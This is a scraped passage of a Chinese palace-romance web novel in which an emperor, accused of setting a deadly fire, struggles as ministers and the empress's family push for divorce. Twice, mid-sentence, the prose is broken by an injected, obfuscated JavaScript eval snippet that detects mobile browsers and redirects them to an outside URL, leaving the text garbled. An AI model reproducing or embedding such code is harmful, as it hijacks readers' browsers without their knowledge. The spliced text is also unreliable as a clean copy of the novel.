这个时候肖阁老递过来了一封联名奏疏,道:“皇上解释不了坤宁宫的大火,也无法让百姓信服,流言止息。夫妻本是同林鸟,既是情断恩绝,好聚好散才是。帝后不和如今已经造成了很坏的影响,臣等请皇上废后放妻,此举一来平息杀后舆论,二来保全天子颜面,三来,皇上也看见强扭的瓜并不能结出甜果来,与其纠缠不如各自安好。” “你说什么?” 皇帝觉得自己耳朵一定是听错了,打开奏疏,开头陈明了废后放妻的利害,后面洋洋洒洒的数十页纸,写满了联名官员的名字。皇帝惊慌的在里面找苏萤臣的名字,意料之外似又在意料之中,没有找到皇帝大松了一口气。 “苏师父,朕就知道您不会让朕废后的。根本没有杀后的事,也没有帝后不和。天下人既误会朕,那朕就让皇后出来亲自解释,亲自说朕到底有没有杀后。” 皇帝忍住了撕烂奏疏的冲动回到了太和门的龙椅上,对着文武百官厉声正色道: “朕不会废后的,既天下人都误会朕,朕就请皇后亲自出来解释朕到底有没有杀后。还有坤宁宫的大火,刑部尽快查办,朕要知道火怎么从钟粹宫烧到坤宁宫的。好了,今日早朝就这样,宫里没做你们的早饭都退了吧。” 皇帝心里还是气的,头一回没赐朝食就把大臣赶回家了。他还着急要去乾清宫,想办法请苏娘子亲自出来了辟谣。 早朝的事很快就传进了乾清宫,不过说的是皇帝恼羞成怒,当朝殴打阁老了。苏娘子听后神情淡淡的,问给自己梳头的安心姑姑,“这些话都是从哪里传出来的?” “宫里的太监宫女,当差的侍卫还有早朝的阁臣们。听说散朝时候边走还边在议论,皇上这回看着情况很是不妙。听说肖阁老倒是忠义,为了保全皇上的名声和娘娘的安全,联合朝臣奏请皇上废后放妻。这是国朝二百多年来前所有未有之事,放历代王朝里也是少见的。” “肖阁老…..”苏娘子喃喃道:“他怎么会帮我….” “许是觉得对不起娘娘?奴婢以前在乡下时,牵线保媒的人若要保了一桩孽缘,心下都会过意不去想要弥补一二的。奴婢想问,娘娘会真的想要走吗?” 她们说话的时候,皇帝赶到乾清宫,这话刚好落到他的耳朵里。急切的脚步不由自主的顿住,屏住了呼吸。 苏娘子察觉到他的身影了,回过头看了一眼,道:“姑姑,陪我去一趟太医院去看看小梅。” 她没有回答,皇帝感觉侥幸又失望。 “念念,阁老们要朕废后放妻,天下人都误会帝后不和,朕杀后。你出来亲自告诉他们,朕没有杀后好不好?而且你是皇后,朕是天子,何曾有天子放妻之例,就是民间寻常男子,女子嫁鸡随鸡,嫁狗随狗,也没有和离放妻的。朕若废后,岂不是变相承认朕杀你了?” “这是你自己捅出来的烂摊子,我为什么要帮你?何况你就这么一点抢强民女、强买强卖,栽赃嫁祸的流氓地痞能耐是吗?若这样你夺了权拿什么和肖阁老比,国家大事你想的明白吗?还有女子成亲从来不识嫁鸡随鸡,嫁狗随狗忍耐男人一辈子。若夫妻性情不和,公婆欺辱,丈夫施虐,妻子自由和离的权利。皇上不但不明白何是为君之道,也不明白何为夫何为妻的夫妻之道。” 苏娘子站起身示意安心姑姑搀扶自己,“姑姑,我们去太医院。” “念念,你在说什么,朕为什么不懂。自古就是君为臣纲,夫为妻纲,朕学的就是这些道理。” 苏娘子和安心姑姑走了,皇帝撵在后面追,着急了一把抓住苏娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663991|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的手,惹得她很是不痛快。 “你别碰我!” 皇帝赶紧放开,尴尬的站在原地,追也不是,不追也不是。他知道苏娘子不打算帮他澄清谣言了,外间群情汹汹,又有内阁施压,他不知道自己能撑多久。 —— 一个时辰后,皇帝领着三福几个人在坤宁宫废墟里转悠的时候,大福来跑来喊,“万岁爷,您怎么还在这!安心姑姑说皇后娘娘出宫去了,连小梅也带走了,这会儿估计快到午门了!” 皇帝一抖,手里的砖头一下就砸到了脚尖上。 “啊….该死的。你说什么,皇后出宫去?她怎么出宫,去干什么?” “奴婢也不知道,娘娘突然就要走,连行礼也没收拾,让人备了辆马车带上小梅就走了。万岁爷,咱们追不追啊?眼下这形势,娘娘是不是误会了。” 皇帝吓傻了,痛苦的闭上眼,咬着后槽牙喘息道:“她真的误会朕了!” 大福又小声问:“万岁爷追吗?” “朕去看看…..” 皇帝再睁开眼,痛苦的神色已经退了下去,撩起跑角扎进腰带里狂奔向午门。苏娘子的车已经驾到了掖门下,禁卫军照例巡查。小梅有些担心,靠着苏娘子的肩膀担心道: “娘子,他们会放我们出宫吗?听说没有皇上命令,后妃不得擅自出宫。” “没事,他们只是照例巡查而已。” 苏娘子安慰的时候,禁军已放行了。马车使出掖门,走在金水河桥,五凤城楼上突然传来呼喊声。 “念念,朕等你回来!” “念念,朕说过紫禁城你可以自由出入,苏府你想回去就回去。只是不要忘记了,朕在等你回来!朕永远等你,念念,别忘记回来!” 驾车的太监听见声音,停下了马车,回头隔着车帘道:“皇后娘娘,万岁爷在城楼上唤您。” “没事,走你的。”苏娘子声音冷冰冰的传出来,马车缓缓又动了起来,皇帝的呼喊声更大更急切了。 “…..念念,朕等你!你想回家就回家去,等朕你回来!” 大福跟在皇帝屁股后面瞎忙活,一会儿垫脚看广场上越走越远的马车,一会儿看皇帝,不解的问道:“万岁爷,皇后娘娘都走了,您怎么不追啊?” 皇帝憋着眼泪,难过道:“朕答应过她,让她自由出入宫廷。她说的很多话朕都不明白,但朕知道她不只是朕的皇后,还是苏师父、师母的女儿,是苏家大哥他们的妹妹。宫外有她的家人,朕希望不管在哪里都有家可以回。” 四福先明白皇帝的话了,道:“可万岁爷也是皇后娘娘的家人。” 他扯起嗓子帮忙大喊,“皇后娘娘,万岁爷在宫里等您回来!” 大福、三福几个人被感染到,不管明不明皇帝的意思都一起帮忙喊起来。 “皇后娘娘,万岁爷等您回来!” “皇后娘娘,早去早回!” …… 马车很快驶离了午门,皇帝他们的声音越来越小了,苏娘子放下撩帘子的手,右眼一颗泪珠触不及防坠落手背,她慌忙擦被小梅看见了。 “娘子你哭了……” “没有…..风大迷了眼而已…..” “娘子是被皇上迷了心智对不对?” “没有,是他太笨了,笨到我真是没眼看了!” 苏娘子还是嘴硬,小梅凑到她肩膀上,低声道:“是娘子太过于在乎皇上了,换做从前的您,当初就跟着大爷去西北了。您爱皇上很多很多,可他并不爱您。只有在出事了才会慌张,大爷说一定不要太爱一个人了会受伤的,爱人先爱已。” 苏娘子没说话,垂眸望着车帘落到手背上的阳光发呆,耳边隐隐还盘旋着皇帝呼喊声。 那个笨蛋到底知不知道他爱她的,想到这般心下竟酸涩的不像话,她才不要先承认她爱着他。 23. 第 23 章 苏娘子到江米巷时正与肖阁老碰上了,老头刚从苏府出来,苏老先生相送到门外。苏娘子在四川长大久不在京师,苏老先生常年守在河南守黄河,在京也不多,两家近年来相交算不得多。今日不想在家门口相遇避让不开,苏娘子只好下车先行行礼拜见。 “见过肖伯父。” 两个人看见她很是惊讶,尤其是后面下车还跟着双手险些残废,缠着厚重的纱布,脸上有轻微烧伤的小梅。 “原来是皇后娘娘,老臣失礼了。娘娘怎么出宫了,可是皇上他又…..” “挂念家中父母,所以想回来看看。” 苏娘子搪塞道,请长伯带小梅进府。 肖阁老:“可是娘娘在宫里住得不安心了,所以才出宫。当初是老臣做皇上婚使保下这门亲事。没想到闹到如今的地步,老夫心下很是过意不去。老夫身为国家重臣辅政多年,未教导好皇上,使皇上变成今日乖张的模样,乃臣之重过,百年之后不知以何颜面面对先帝,面对列祖列宗。老夫问句不敬的话,若有和离出宫的机会娘娘可是愿意?” 苏娘子惊讶,微微蹙眉,“肖阁老,我不明白。常言道宁拆十座座庙不毁一桩婚,夫妻之事向来劝和不劝离,阁老怎么反常人而行?” 肖阁老捋着美髯大笑,“娘娘此言差已,夫妻之事虽说劝和不劝离,可很多夫妻之间已不是小打小闹,乃是相互纠缠折磨到了你死我活的地步。我朝自显宗皇帝以来为鼓励百姓生育,滋衍丁口,以弥补崇兴年间漠西之战所造成的天下虚耗,民生凋敝之苦。一百多年来朝廷颁布禁令,禁止百姓和离,引发民间无数夫妻相残虐杀。国朝上下苦禁令久已,此次娘娘若能与皇上和离将成为天下典范,朝廷借此废除禁休妻令,可令无数痴男怨女从禁锢桎梏中解脱。臣知道娘娘嫁给皇上奈为无奈之举,只要娘娘愿意老臣愿拼掉这条老命帮娘娘和离,这也算娘娘为后的一件功德。” “可是…..”苏娘子细细嚼着肖阁老的话,看向自己的父亲,他也看向她但神色不明。这些话适才两人应当在府里说过了,所以父亲似并不惊讶。 “那这样的话,皇上岂不是坐实了杀妻之论,天下人还如何服他?” “不,恰恰相反。娘娘与皇上和离不是虐杀相残,而是夫妻缘尽和平相离,各自安好,各生欢喜。娘娘与皇上依旧之天下人的典范,至于皇上性情乖张,老夫只能竭力教导相扶,希望他有一天能够朕真正长大成熟成为一代明君。” 这是一个非常难得的机会,不管肖阁老目的何为,至少表面这样看来其心端正叫人挑不出过错来。于是苏娘子而言,借着这个机会当真和离了。她就可以回到从前的自由天地,跟着父亲到河南兴修水利,勘探黄河,把这辈子想做的事做完。不用再像小梅说的那样只能抱着书在纸上谈兵,守着一个不知可有真心,将来还会有无数宫妃的男人。 可是…..苏娘子想起来皇帝宁愿站在城楼上喊她记着回宫也不愿意追出来拦住她的皇帝。 “谢谢阁老,这件事容我再想想,不过废除禁休令确实是一件利国利民的好事。不管我与皇上会不会和离,这件事都希望阁老能够推行下去。” “是,娘娘。不过臣还是想再说一句,娘娘聪慧,见识抱负不输男子。苏老先生将一身治水本领都传授给了娘娘,娘娘的天地在山川湖海间,而不是那一方红墙里。皇上倘若只将他视做一个普通男子,那么这个男子并不懂娘娘。” “阁老,这件事容我再想想。”苏娘子感受到了压迫有些窒息着急,慌忙行礼躲进了府里,“爹爹,我有些累了,劳烦爹爹送送阁老。” 苏萤臣相送肖阁老上车,两人其实年岁相当,只是当初政见有所不同。僵持了好些年,如今因为杀后的事倒又些破冰释嫌了。 “苏老先生留步,老夫先回去了。杀后谣言的事老夫会让人尽快处置,不会累及皇上的名声的。至于皇后娘娘,于做长辈而言,发生这样的事,老夫愧疚难当。不管娘娘是否想要和离,老夫都会尽力教导皇上改邪归正。” “有劳阁老,阁老慢走。” 两人互相道别,肖阁老的马车走了,苏萤臣提着袍子就进府追上苏娘子了。文夕夫人听见她回来的消息也迎了出来,瞧见小梅的伤势便知坤宁宫大火有多险了。说什么都不让女儿回宫了,招呼婆子丫鬟赶紧打扫闺房迎接苏娘子。 苏萤臣不敢瞎说话,默默跟到青竹院,趁着文夕夫人给苏娘子怕铺床的空档,拉着苏娘子避到院子里问。 “听说你在大火里受伤了,伤的严不严重?爹爹是个外臣,也不能进宫看你。” “一点小伤,没什么大事,爹你用不担心。” 苏萤臣觉得可不是小伤,瞧这她两只手都活动不利索了,脸黑的难看。 “小伤,手怎么动不了。爹看你进宫就没过过一天安生日子,不如趁着这个机会和离出宫得了。省的在宫里,你娘天天担心,睡也睡不好,吃也不吃不好。肖阁老虽是贪权,但为民为国之心不假,有他辅佐皇上国家出不了大乱子。和离了,咱们全家一起搬到河南去,黄河这两年河情不好,得要时刻守着。” “爹,您不打算帮皇上夺权了?听您的话,肖阁老似也不是什么十恶不赦的权臣。” 苏萤臣忧愁的叹气,“做皇帝帮的了一时,帮不了一世,主要还是要看是不是这块料。皇上是有些小聪明,但还需历练才能成熟。说实话,皇上与肖阁老都无大过,错就错在两个人都太过看重权势了,势必有一伤。爹想与其看他们在朝廷里斗,还不如去修黄河来的实在。左右皇上都是天子,纵有一伤也不会累及性命。现在肖阁老都六十三了,皇上年轻还有他掌权的时候,爹爹现在担心的就是你。” 苏娘子:“爹爹现在不担心皇上?” “担心那小兔崽子做什么,还嫌他不够咱们家添乱!”文夕夫人突然出声吓父女俩一跳,赶紧闭嘴相迎。 “娘,您受累了,谢谢娘给我铺床。” “夫人照顾女儿受累了,快,进屋喝口茶歇歇。” 文夕夫人傲娇的哼了一声,享受着父女俩的簇拥回屋坐下。挨着椅,苏萤臣刚递上茶水,夫人还没接过拉着苏娘子又道: “这事依娘的意思,管他肖阁老是好心坏心,这婚先离了再说。眼下最要紧的是在宫里这段日子,可是让太医看过身子有没有,要是怀了孩子可就不好办了。” 苏萤臣一听这话觉得不是大老爷们该听的,尴尬的想捂耳朵躲开,叫文夕夫人看斥了一顿。 “去哪?女儿也是你的,你当爹的就不关心关心?” 苏老先生硬着头皮坐下,文夕夫人紧张的望着苏娘子。苏娘子被瞧着也紧张起来,不知道该不该让俩人知道,大婚之夜她不仅独守空房了,其实到如今她和皇帝也没同过房。这在做父母的看来定时女儿受委屈了,是绝不能忍的。 “娘,李太医看过说再等等看看这个月可有月事。” “没事,那再等等。” 文夕夫人突然又觉得有孩子算得什么,不叫皇帝知道了就行,反正到时候和离了,他们一家离开京城了。天高皇帝远的,他怎么知道孩子是不是他的。 “念念,娘想好了,有孩子就有孩子。孩子是皇家的,那也是苏家的,到时候和离踹你肚子里就归你了。” 苏萤臣听的这话直冒冷汗,苏娘子也是哭笑不得。夫妻俩离开时送到院外,苏娘子还听见父亲十分胆大包天的调侃母亲了。 “夫人觉得念儿和离了白得一孙乐得挺美,你可真是狗胆包天。” “哼,这是自然。白得一孙,女儿还在我身边,又没糟心女婿我自然是美的。” 文夕夫人美的走路都轻盈起来,苏娘子从墙后探出脑袋瞧着母亲的身影有些苦恼。 —— 天黑前,宫里的太监又来苏府了。说是有封西北的信和一个盒子送给皇后的贴身婢女的,送到乾清宫去没有人,皇帝特意让人送出宫来了。 苏娘子从长伯那处取来信,并未先给小梅,陪她一起用完晚膳、沐浴洗漱换完药后,才把信和盒子拿出来。 “小梅,你哥哥给你写信了,从宫里转送回府了。你手不方便,我帮你把信拿出来?” “不用了,娘子。您放在桌子上,我自己可以打开看。” 看着苏娘子就要撕开信了,小丫头有点着急,恨不得上去抢。 “好了,我只帮你把信拿出来,你自己慢慢看,不然你撕信封把手伤崩裂了怎么办?” 小丫头胆战心惊的看着苏娘子撕开信封,拿出信纸当真看也没看一眼,合着信封连通盒子一起放在桌上才大松一口气。 “娘子,奴婢没事了,您也早点休息吧。” “那你看完信也早点歇息。” 苏娘子走了,贴心的带上门。路过碧纱窗时往屋里飘了一眼,小梅捧着信读得好认真好认真,脸上洋溢着些腼腆害羞的笑。 她忽然想明白了,信不是她的哥哥,而是她的大哥写来的。小丫头瞒着她,不想让她知道。 苏娘子先回院了,次日一早再走到碧纱窗前,小梅竟是趴在桌子上睡着了。苏娘子悄声进屋,看见小丫头胳膊下压着她写的回信,整整十几页纸。 她文采不好,只粗识些字,手又受伤了,写废了好多纸张堆在桌子上。说了好多事,比如皇上火烧皇后,皇上欲逼反苏家联手肖阁老夺权,朝廷大臣联名奏请废后放妻,苏娘子已经出宫回府,还有苏娘子可能怀上龙子,老夫人打算和离拐走皇家子嗣的事。 反正她听到什么,不管真假都事无巨细的写给苏明伯了。最后还非常不好意思的写了一句:大公子,京城发生了好多事,奴婢不知道什么是真的什么事假的。奴婢都一一告诉您了,您那么聪明一定可以看出真假来的。 苏娘子瞧的忍俊不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668015|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿起放一旁的苏明伯的信。里面只写了些关心她们的话以及如何养护伤势的法子,应对着盒子里的两只瓷瓶。担心小丫头傻乎乎的把药都给她了,信里再三叮嘱的写:“伤药有两瓶,一瓶是给我妹妹的,一瓶是给你的,别傻乎乎的给她了。记着一瓶是给你的,好好用,不会留疤的。” 苏娘子取了张信纸铺开,提笔落墨:大哥,等你从西北回来,我就把嫂嫂还给你吧。还有有点重要的事,请大哥助我看清皇上的心。 写完,苏娘子把信混在小梅的回信里便离开了。小丫头醒来一股脑的把信纸都塞进了信封里,落上她哥哥丁凤的名字,送到门房请长伯代为寄往西北。 苏娘子在院子里瞧《吴中水利书》,小梅花捧着昨日的木盒子放到书桌上,“娘子,这是我哥哥从西北寄过来的伤药,用了不会留疤,您试试。” 苏娘子抬头,抿着唇笑意盈盈的看着她,明知故问。 “你哥哥啊,我以为是我哥哥呢。” 小梅脸唰的涨红,紧张的直发抖,不敢看苏娘子。好在苏娘子很快就转移了话题,“小梅,我娘说城西新开了家绸缎庄子,有上好的蜀锦你陪我去看看吧。” 小梅不是很想去,“娘子,奴婢的手伤着,要不您让别的丫鬟陪您去吧。” “不碍事啊,你去就给我掌掌眼,又不要你给我动手裁衣裳。” 苏娘子早就让人备好马车了,搁下书拉着小梅就出府去了。 到了天府绸缎庄,苏娘子刚弯腰钻出马车,绣花踏地还没走进绸缎庄里。长伯刚把马车赶开,道上突然又急驰过来一辆猝然停下。苏娘子刚回头看,马车里伸出一只手一把抓住她的肩膀,拖进了马车里。 “娘子!娘子!长伯,娘子被掳走了!” “救命啊,我家娘子被歹人掳走了!” 小梅吓得边哭边嚷很快引起来路上的注意,长伯驾着马车立刻调转车头追。小梅哭着追了几步,人群里突然钻出三个人拦住她,哭丧着脸哀求道: “小梅姑奶奶,求您别嚷嚷了。是皇上,马车里是皇上。皇上找皇后娘娘有事,一会儿就送皇后娘娘回来了!” 一听这还得了,小梅不但一脚踹开了四福他们几个太监,嚷嚷的还更大声音。京师百姓十分的热心,一听有人当街抢强民女立即就帮忙追了,没一会儿就形成了很大的人流四处围堵皇帝的马车。 “六福,往午门方向去。那里有禁军,百姓不敢乱来。” “是皇上,但您有什么还是快点说,一会儿好多人在追咱们,奴婢可不知道能不能赶到午门去了!” 六福一边避开人群,一边往僻静胡同里逃。马车走的格外颠簸,左摇右晃。苏娘子送掳上车摔到皇帝身上就没起来过,很不高兴的瞪。 “你又发什么疯?” “念念,你先别生气。朕有话和你说,你看这是什么!” 皇帝一手搂着苏娘子的腰肢,一手从车底摸出两块偌大的砖头,吓得苏娘子担心他一只拿不住砸在自己脑袋上,直往他怀里躲。 “你干什么,这是什么东西?” “念念,是坤宁宫和钟粹宫的砖头!你闻,这上面的味道不一样。钟粹宫的火是朕放的,朕为了掩人耳目用白鼠尾草掩盖,但是坤宁宫的没有。你闻…..” 皇帝一把砖头放在苏娘子鼻尖,惹得她很是不高兴,“你把我掳上车来就是为了说这个的?” “嗯,朕想要告诉你,念念,朕没有想要杀你,你相信朕!至于坤宁宫的火朕会查清楚的,所以你不要听信他们的话。我们不要和离,朕不要和你和离。” 皇帝丢下砖头,紧紧的抱住苏娘子似要将她揉进骨血里一般。他不知道这样的失控是思念成疾的疼,以为只是害怕她误会,害怕她听信别人的话就要和离出宫了。 “…..念念,不要和离,我们不要和离,朕可以对你很好很好,对苏家很好很好的。” “你弄疼我了,岳凌。”苏娘子不知道为什么心有些疼,难过的闭上眼,说话的声音出乎她自己意料之外的冷。 “念念你不相信朕…..” 皇帝愣住了,讪讪的松开手。苏娘子撑着他的胸膛爬起来,朝外喊道:“停车,给我停车!” 马车骤然停下,苏娘子踉跄的掀开车帘跳车,皇帝连忙拉住她的手满目悲伤。 “苏念辞,你还是不信朕?” 苏娘子没说话,跳车走了。 皇帝痛苦的笑了,“你从来都相信火不是朕放的,是你想借着这个机会离开皇宫是不是?苏念辞,为什么?为什么,既是如此为什么当初要答应嫁给朕?” 苏娘子提着裙子跑,听见皇帝的话迟疑了一下,跟身后有鬼追一样突然狂奔起来。 皇帝咬牙切齿无能狂怒,扶着车门疯狂的咆哮,“苏念辞,朕决不答应和离!纵使千夫所指,背上杀妻之名,朕也绝不和离!” 24. 第 24 章 苏娘子被京师热心的百姓送回家了,在杨柳大街上又遇到了一个人。由家仆抬着从医馆出来,身上盖着薄被,神情憔悴。脸颊肿得跟发面馒头一样,包了一包脓水刚被大夫刺破,敷上伤药后水仍旧淌个不停浸透了碧蓝色的衣领。 “皇后娘娘….”轿子上的女人突然伸手,痛苦的呻吟,“……女子嫁人不淑就该忍耐一辈子,以死才能解脱吗?这恶果就一定要吃,不可以扔了吗?” 苏娘子被流脓的手指摸到脸颊吓了一跳,抬眼望去又被她晦暗绝望的眼神吓得怔神,“你….你是什么人,你怎么认识我?” 街道一旁热心妇人解释道:“皇后娘娘不认识她?她是肖阁老家的千金,章记茶业的少夫人。当初不听父母劝说非要下嫁一个商贾之子,婚后肖小姐不育,婆母不喜,丈夫染上赌瘾败光了家产,稍有不慎动辄就打骂虐待。肖小姐这个月都来三次医馆了,听说这身上没有一处好的,可怜。” 苏娘子:“她父亲是阁老,女儿受婆家如此虐待,当父亲的都不管吗?” “管啊,可是管又能怎么管,肖阁老不过口头训斥一番章钦。回头还得真金白银的往章家送,又不能打死章钦。俗话说的好,女子上嫁吞针,下嫁吞屎也得吃,好不好都是自己选的人。” 肖小姐听得这句话,眼泪倏的就掉下了脸颊,难过又倔强的望着苏娘子,想要伸手拉她又觉不好,只是颤抖着声音道:“娘娘,您一定要与皇上和离成为天下女子的典范。” “我…..” “皇后娘娘您一定可以的,别怕,民女相信您还有我父亲…..” 这个时候章家的婆子已经有些不耐烦了,绷着脸打断肖小姐的话,厉声呵斥抬轿的小吏。 “还愣着干什么,还不快回府去,叫少夫人受了风怎么办!” 小吏赶紧抬轿跑,苏娘子想说些什么已是来不及,她也听不到了,小梅望着远去的轿子唏嘘道: “娘子她好可怜啊,被丈夫打成那样都不能和离,再想想坤宁宫大火皇上竟想烧死您。太恐怖了,奴婢以后不要嫁人了。” 苏娘子沉默不语,望着肖小姐搭在扶手上细柔的手腕,随着轿子的颠簸上下晃动,像是秋风里的细柳飘荡在萧瑟的秋风,干涩了往日的风华。 ——— 京师,皇帝的风评更加不好了。不知道肖阁老到底有没有派人在控制流言,反正坊间关于皇帝杀后虐妻的流言更多了。 他们在回宫的路上,街边都是议论此事的人,有妇人还扎堆儿嗑瓜子的编排。 “依我看万岁爷就是想杀后,苏老先生虽不争不抢,低调为人。可苏家有两个封疆大吏,现下苏娘子又贵为皇后。势力如此强大的外戚,哪个皇帝不忌惮。” “可苏娘子听说是万岁爷亲自挑选下旨要娶的,那会儿怎么不忌惮苏家,到这会儿了倒来嫌弃人家势大杀后了。” “谁知道呢,这皇帝真是一茬不如一茬了,早知道当初还不如让钟山王当皇帝。” “朝廷大事,你这张破嘴可把着点门吧。不过皇后娘娘要是真同万岁爷和离了,朝廷的禁休令是不是就该废止了。” “瞧着应该是,早盼着这天了。我可真是受够我家那老东西了,老娘累死累活的上给他伺候老,下给他伺候小。他可倒好拿着家里的救命钱去青楼染了一身脏病回来,左右现在他老娘也死了。我就盼着和离了带着孩子回娘子,怎样我都能过活。” “你家那口子你怎么不给他一碗药,早死早解脱,活耗着你和孩子。” “你以为我不想,良心,良心上过不去。” 妇人戳戳自己的心窝继续磕瓜子,不知道从什么时候起世人总以为女人离了男人就活不了了,可很多人明明还可以过的更好。 …… 几个妇人编排的起劲,从皇家秘闻到朝廷大事再家里的鸡毛蒜皮说个没停,也无甚顾及。平日说话惯大嗓门,嚷嚷着一整条街都是他们的声音,没一会儿就聚集起来好些凑热闹的人。 皇帝的马车从他们身边路过,这些话一字不落的钻进车里,听得驾车的四福都有些担心了,掀开帘子担忧的看了一眼皇帝。 “万岁爷,您别听那些女人胡说,胆敢非议皇家,奴婢现在就下去教训她们一顿。” “不必了,回宫吧。” 皇帝摆摆手,转过身倚着靠枕背对着四福。四福轻叹了一口气,放下帘子安心赶车。 回到养心殿,皇帝就嚷着让人送酒在殿里喝个烂醉。天黑后跑到御花园里对着一池子水芙蓉哭,弄的大福和三福莫名其妙。 “万岁爷,您怎么了?夜里凉,咱们回宫吧。” 俩人搭手扶住被一把拍开,皇帝抱着酒瓶席地坐在透凉的石阶上,玉面遮掩在池岸碧绿的荷叶下。三福小心翼翼的拂开荷叶,果然看见皇帝又哭了。还喝醉了,水眸通红,双颊染着微醺。泪珠滑落下来,像是夜露滴落在粉嫩莹润的荷瓣上。 “万岁爷您又哭了。”三福已经记不得这半年来皇帝哭过多少回了,有话说男儿有泪不轻弹,他怎么动不动就掉金珠子了。三福故意激他,道:“万岁爷,您别哭了。皇后娘娘自小在民间长大,跟着苏老先生搁黄河边上修河,最是喜欢有阳刚之气,孔武有力的男子了。您这样总是哭哭啼啼的,娘娘看了会不喜欢的。” 他果然是哪壶不开提哪壶,大福狠狠攮了三福一把,挤上前来说道:“万岁爷您别听三福胡说八道,您是天子要什么样的女人没有,守着一个苏娘子拿您涮着玩,往后还不能广开后宫册立妃嫔,这皇帝做着有何意思。依照奴婢看眼下最要紧的是平息杀后舆论,挽回天子名声才最是重要。皇后娘娘想要和离,您就借此让她出来帮您澄清杀后谣言。” 皇帝抬头看了他们两一眼,没理会他们的话,突然自言自语的悲伤起来。 “朕想我娘了,从前景阳宫的老太监和朕说,我娘就在这荷花池子底下。说自她的骨灰撒进这池子里后,往后每年的荷花都开得特别的艳。” 大福和三福听得这话背后凉飕飕的,往荷叶深处望去,黑漆漆的一片,连蛙叫蝉鸣都没有。 “万岁爷,天黑了,咱们回宫吧,这里怪吓人的。” 皇帝扶额遮住半张脸,悠悠道:“朕没事,你们先回去吧。朕想陪陪我娘,朕感觉她就在这里。景阳宫的老太监说她生前最怕太监了,你们在这她定是不敢出来了。” 大福和三福实在受不了皇帝这神叨叨的模样,夹着尾巴赶紧跑出了御花园,到廊下两者宫灯的地方候着。等了半个时辰估摸着皇帝缅怀生母该够了的时候,两个人提着灯一起回去找皇帝。 “万岁爷,夜深了该回宫了。” 皇帝适才坐的石阶空荡荡的,只剩个酒扔在地下,皇帝不见了。俩人毛骨悚然,对望了一眼提着灯胆战心惊的在御花园里找。 —— 掖门之下,皇帝带着一身的酒意纵马冲到了宫门前,朝着守卫大喊大叫,“开门,给朕开门!!” 禁卫军:“万岁爷,天黑了您一个人要去哪儿,怎么一个太监护卫都不带?” “朕是天子,你们管我!”皇帝不耐烦,纵马冲门。守卫拦不住只好开门,皇帝先行冲出宫门,在午门前纵马。 守卫见状赶紧禀告禁军统领。没一会儿一大堆禁军统领就跟出来,追上皇帝眼见着他跑进江米巷。 苏家此时苏老先生、苏三郎都不在,家中只是文夕夫人和苏娘子。正巧今日苏娘子来了葵水,府邸上下正是为这事开心,文夕夫人还特意下厨煮了五红汤送到青竹院里。 “这五红汤对女子最是好,暖宫止痛,喝完了早点上床躺着。” “娘,我没怀孕,我真的没怀孕?怎么会,我以为好几个月没来月事,孩子都该有拳头大了。” 苏娘子捧着汤碗脑袋还是晕乎乎的,葵水而止那一瞬间的失落突然就消失的干干净净。嘴角皆是抑制不住的笑意,喝着汤都不小心呛住了,惹得文夕夫人赶紧拍背帮忙顺气。 “你这孩子,怎么还是冒冒失失的。女子没来月事当然不一定就是怀孕了,情志不顺,郁结于心也会不来月事。娘看你就是在宫里害,这不回家来几天就好了。你还小,娘才舍不得你怀孕生子。怀孕生子很辛苦的,要在鬼门关上走一趟,很多女子一脚去了就没再回来。娘想等你再大些,晚些生,到时候娘亲自伺候你。” “那娘还给爹爹生那么多孩子,当时一定很辛苦吧。” “你以为我想,有了就生。最要紧的还是要值得,所以娘不想让你平白为一个不值得的男人搭上命去生孩子。天家无情,爹娘就是想护你也护不住。所以我们就想你平平淡淡,安安稳稳的一辈子,寻个本分知冷知热的人就好了。” “那我要是和离的话,娘你不嫌丢脸,不怕再也没人要我?” “娘才不怕,娘养你一辈子在身边做姑娘。” 苏娘子的心暖乎乎的,喝完汤靠在文夕夫人肩膀上,牵着她手比划着她的手掌。从前那只还没有猫爪大的手已经长得跟她一般大小,纤细白嫩像是葱白一般。 “娘不打扰你了,赶紧上床歇着。记着再热不能喝凉水,要喝热水。” “嗯,我知道了,娘放心。” 苏娘子送文夕夫人至青竹院外,外间画廊上一个婢女婆子也没有,上灯的小厮只上的一半就没影了。 “瞧瞧你爹这家当的,下人越来越偷懒了,等他回来娘得好好说的他一顿。” “想必是有其他要紧的事,说不定一会儿就回来了,娘慢走。” “不必送了赶紧回去躺着。” 文夕夫人领着贴身丫鬟先走了,苏娘子忍着肚子的绞痛目送她走出月门才转身回院子。伸手正要关门,一只胳膊突然撑进来,底下用锦靴抵住了门脚。浓重的酒气扑面而来,熏的苏娘子嫌恶的捂鼻子。 “你怎么又来了?” 是皇帝,蛮横的撞开门冲进院子,苏娘子瞟眼才看见游廊上站满了禁卫军,手持的火把,面目刚烈,气势汹汹。苏娘子险些错以为苏家犯了什么大过,惹来皇帝抄家问罪。 “你在干什么,你怎么进来的?带那么多人,你到底要干什么,我娘呢?你把我娘弄哪里去了!” 皇帝平静的转身关门落拴,苏娘子撞开他想要开门,被一把揪住手腕带到皇帝跟前,离着很近很近的距离,两个人灼热的呼吸相互缠绕。 “岳母大人没事,朕就是想你了,想来看看你而已。听说你来月事了,没怀上朕的孩子,你很开心是吗?”
